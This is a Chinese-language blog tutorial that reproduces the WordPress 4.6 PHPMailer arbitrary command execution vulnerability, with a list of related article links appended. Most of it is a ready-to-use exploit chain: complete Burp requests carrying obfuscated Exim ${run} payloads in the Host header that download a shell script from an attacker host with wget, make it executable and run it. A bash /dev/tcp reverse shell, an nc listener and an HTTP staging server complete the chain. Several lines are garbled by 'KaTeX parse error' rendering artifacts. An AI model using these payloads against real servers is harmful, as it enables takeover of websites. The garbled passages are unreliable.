Wordpress 4.6 任意命令执行漏洞
文章目录
- 前言
- 一、构造burp数据包内容
- 1.构造原理
- 2.最终构造数据包如下
- 二、使用步骤
- 1.本漏洞实际利用存在的限制
- 2.反弹shell
- 3.开启监听
- 三、通过burp获取权限
- 1.发送下载shell数据包
- 2.发送修改文件权限数据包
- 3.发送执行文件数据包
- 此时,监听终端检测到反弹的shell
- 总结
前言
wordpress:
WordPress是一款个人博客系统,并逐步演化成一款内容管理系统软件,它是使用PHP语言和MySQL数据库开发的,用户可以在支持 PHP 和 MySQL数据库的服务器上使用自己的博客。也可以把 WordPress当作一个内容管理系统(CMS)来使用。
WordPress有许多第三方开发的免费模板,安装方式简单易用。不过要做一个自己的模板,需要你有一定的专业知识。
WordPress官方支持中文版,同时有爱好者开发的第三方中文语言包,如wopus中文语言包。WordPress还拥有成千上万个各式插件和不计其数的主题模板样式。
提示:以下是本篇文章正文内容,仅供参考
一、构造burp数据包内容
1.构造原理
在host参数中,target为之前设置好的host和port,target后为payload
payload内容:
(any -froot@localhost -be ${run{/bin/touch /tmp/success}} null)
注意以下几点URL 中不要有 http://
字母必须要小写
所有 / 用 KaTeX parse error: Expected '}', got 'EOF' at end of input: {substr{0}{1}{spool_directory}} 代替
所有 空格 用 KaTeX parse error: Expected '}', got 'EOF' at end of input: {substr{10}{1}{tod_log}} 代替
转换后即为:
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}
{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}
{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}}
null)
#为了显示方便这里添加了回车
touch 命令用于创建空文件,也可以更改 Unix 和 Linux 系统上现有文件时间戳。更改时间戳意味着更新文件和目录的访问以及修改时间。
此处通过touchu \tmp\success命令,在linux特有临时目录/tmp下创建空文件,由于通常该目录中不会存在该名称的文件,所以可以作为命令执行的验证命令.
2.最终构造数据包如下
填写target参数
数据包内容如下:
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 55
Content-Type: application/x-www-form-urlencodedwp-submit=Get+New+Password&redirect_to=&user_login=test
test为之前设置的用户名(目标网站曾设置的用户名)
二、使用步骤
1.本漏洞实际利用存在的限制
执行的命令不能包含大部分特殊字符,如:“引号、/斜杠等。
命令会被转换成小写字母
命令需要使用绝对路径
需要知道某一个存在的用户的用户名
为了解决这些问题,漏洞作者想出了,利用KaTeX parse error: Expected '}', got 'EOF' at end of input: {substr{0}{1}{spool_directory}}代替/,用KaTeX parse error: Expected '}', got 'EOF' at end of input: {substr{10}{1}{tod_log}}代替空格的方法。
这些方法我们在上面漏洞验证章节已经使用过了
但是还是有很多字符不能用,所以我们需要将待执行的命令放到第三方网站中,然后通过curl -o /tmp/rce example.com/shell.sh的方法先将他下载到/tmp目录中,再去执行。
2.反弹shell
shell
当我们在渗透Linux主机时,反弹一个交互的shell是非常有必要的。反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形导致连接失败。
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?
- 对方主机在局域网内,从外网无法直接访问。
- 对方主机上存在WAF,对主动连接发来的请求数据检测严格,而对向外发出的请求不进行检测或检测较少。
- 对方的ip会动态改变,你不能持续控制。
- 对方由于防火墙等限制,对方机器只能发送请求,不能接收请求。
- 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
linux反弹shell的实现
3.开启监听
打开一个终端,输入命令
nc -lvp 1234
建立一个新的1.txt文件
写入:bash -i >& /dev/tcp/192.168.0.4/1234 0>&1
在1.txt文件所在文件夹打开终端,输入命令
python3 -m http.server 80
三、通过burp获取权限
1.发送下载shell数据包
poc转换前为(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/shell 192.168.0.4/1.txt}} null)
wget 是一个从网络上自动下载文件的自由工具,支持通过 HTTP、HTTPS、FTP 三个最常见的 TCP/IP协议 下载,并可以使用 HTTP 代理。
构造后数据包如下:
POST /wp-login.php?action=lostpassword HTTP/1.1
Host:target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}192.168.0.4${substr{0}{1}{$spool_directory}}1.txt}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 55
Content-Type: application/x-www-form-urlencodedwp-submit=Get+New+Password&redirect_to=&user_login=test
2.发送修改文件权限数据包
数据包构造内容如下:
POST /wp-login.php?action=lostpassword HTTP/1.1
Host:target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}chmod${substr{10}{1}{$tod_log}}777${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 55
Content-Type: application/x-www-form-urlencodedwp-submit=Get+New+Password&redirect_to=&user_login=test
3.发送执行文件数据包
POST /wp-login.php?action=lostpassword HTTP/1.1
Host:target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 55
Content-Type: application/x-www-form-urlencodedwp-submit=Get+New+Password&redirect_to=&user_login=test
此时,监听终端检测到反弹的shell
总结
漏洞文件是class.phpmailer.php,我们在wordpress中搜索查看这个文件,该文件在在wp-includes目录下。我们可以发现几行关键代码:phpmailer组件是调用linux系统命令sendmail进行邮件发送,命令格式为:sendmail -t -i -fusername@hostname。serverHostname函数通过传入的SERVER_NAME参数来获取主机名,该主机名即HTTP请求报文中的host值,但是SERVER_NAME参数并没有经过任何过滤,因此我们可以进行任意构造拼接,从而产生了系统命令注入漏洞。
Wordpress 4.6 任意命令执行漏洞相关推荐
- 漏洞payload 靶机_学生会私房菜【20200707期】Wordpress 4.6 任意命令执行漏洞
学生会私房菜 学生会私房菜是通过学生会信箱收集同学们的来稿,挑选其中的优质文档,不定期进行文档推送的主题. 本期文档内容为:<Wordpress 4.6 任意命令执行漏洞> 作者介绍:AT ...
- wordpress 4.6任意命令执行漏洞(PwnScriptum)复现
今天继续给大家介绍渗透测试相关知识,本文主要内容是wordpress 4.6任意命令执行漏洞(PwnScriptum)复现. 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为 ...
- python直接执行代码漏洞_修复Python任意命令执行漏洞
Author:JoyChou@美丽联合安全 Date:20180605 1. 前言 今天遇到一个不好做白名单的Python命令执行漏洞修复的问题.由于是shell=True导致的任意命令执行,一开始大 ...
- couchdb 任意命令执行漏洞(cve-2017-12636)
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和 ...
- FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE-2017-18349)
#FastJson1.2.24反序列化导致任意命令执行漏洞(CVE-2017-18349)# 一.漏洞简介 Pippo是一款基于Java的Web框架.FastjsonEngine是其中的一个JSON处 ...
- eyoucms 1.5.5任意命令执行漏洞(0day)
eyoucms 1.5.5任意命令执行漏洞 文章目录 eyoucms 1.5.5任意命令执行漏洞 一.漏洞简介 二.漏洞影响 三.复现过程 漏洞位置 漏洞分析 漏洞利用 一.漏洞简介 eyoucms1 ...
- TamronOS IPTV系统 ping 任意命令执行漏洞
TamronOS IPTV系统 ping 任意命令执行漏洞 目录 系统简介 漏洞描述 漏洞复现 总结 系统简介 TamronOS IPTV/VOD系统是一套基于Linux内核开发的宽带运营商.酒店.学 ...
- 通达OA v11.9 getdata任意命令执行漏洞复现+利用
1.产品简介 通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件,是与中国企业管理实践相结合形成的综合管理办公平台.包括流程审批.行政办 ...
- php打开网页执行即执行bat程序_CVE202011107:XAMPP任意命令执行漏洞复现
0x00简介 XAMPP是一个把Apache网页服务器与PHP.Perl及MariaDB集合在一起的安裝包,允许用戶可以在自己的电脑上轻易的建立网页服务器.该软件与phpstudy类似. 2020年4 ...
最新文章
- springboot 得到端口_带你入门SpringBoot
- SAP中smartforms参数
- 实验7-3-4 字符串替换 (15分)
- char怎么比较_为什么阿里巴巴Java开发手册中强制要求整型包装类对象值用 equals 方法比较?...
- 9203 演练 jsp实现增删改查
- 哥大首位华裔女校长:人工智能的春天来了
- poj 1426 BFS
- 二级缓存使用步骤_Mybatis的一级缓存和二级缓存的理解以及用法
- SAP License:什么是ERP、SAP?
- 一看数分就想写个程序玩玩。。。
- 如何制作Win10启动U盘启动盘iso镜像文件
- 并查集:A bug's life
- 小srf的游戏(单调队列+dp)
- MySQL的事务和存储引擎
- 雷电模拟器如何备份游戏登陆状态,并还原登陆状态 免扫码。
- arcgis按要求删除点位
- 微信商业化:抢企业级短信钱
- 消消乐php源码,手游泡泡消消乐设计(内附代码)
- matlab三维可视化,MATLAB中三维数据可视化及应用
- 前端技术周刊 2018-10-08:WebGL
热门文章
- 海洋表面洋流数据可视化
- Java中泛型的使用
- 【中学】判断三角形的形状
- 万字总结,体系化带你全面认识 Kube-Proxy IPVS 模式的工作原理
- 报警:Component 'MSCOMCTLOCX' or one of its dependencies .....及解决方法
- python往npy写入数据_操作python实现npy格式文件转换为txt文件
- 使用概率法计算圆周率
- 三八节买什么数码好物?三八女神节实用不吃灰的数码好物推荐
- 2021年二季度重大舆情热点盘点分析
- doevents raiseevent withevents